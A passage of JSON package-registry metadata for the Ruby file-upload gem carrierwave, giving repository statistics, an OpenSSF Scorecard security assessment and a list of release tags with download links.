loader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.659Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-carrierwave?arch=source\u0026distro=ubuntu-24.04","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.04","url":"https://launchpad.net/ubuntu/noble","ecosystem":"ubuntu","default":true,"packages_count":37306,"maintainers_count":0,"namespaces_count":4,"keywords_count":1697,"github":"ubuntu","metadata":{"codename":"noble","funded_packages_count":1062},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:45.928Z","updated_at":"2026-08-17T05:05:35.768Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/namespaces"}},{"id":12198407,"name":"carrierwave","ecosystem":"rubygems","description":"Upload files in your Ruby applications, map them to a range of ORMs, store them on different backends.","homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":[],"namespace":null,"versions_count":88,"first_release_published_at":"2009-07-25T18:29:20.000Z","latest_release_published_at":"2026-05-23T05:36:10.365Z","latest_release_number":"3.1.3","last_synced_at":"2026-08-16T10:01:02.995Z","created_at":"2025-10-07T01:59:31.387Z","updated_at":"2026-08-16T10:01:09.844Z","registry_url":"https://gem.coop/gems/carrierwave","install_command":"gem install carrierwave -s https://gem.coop","documentation_url":"http://www.rubydoc.info/gems/carrierwave/","metadata":{"funding":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"b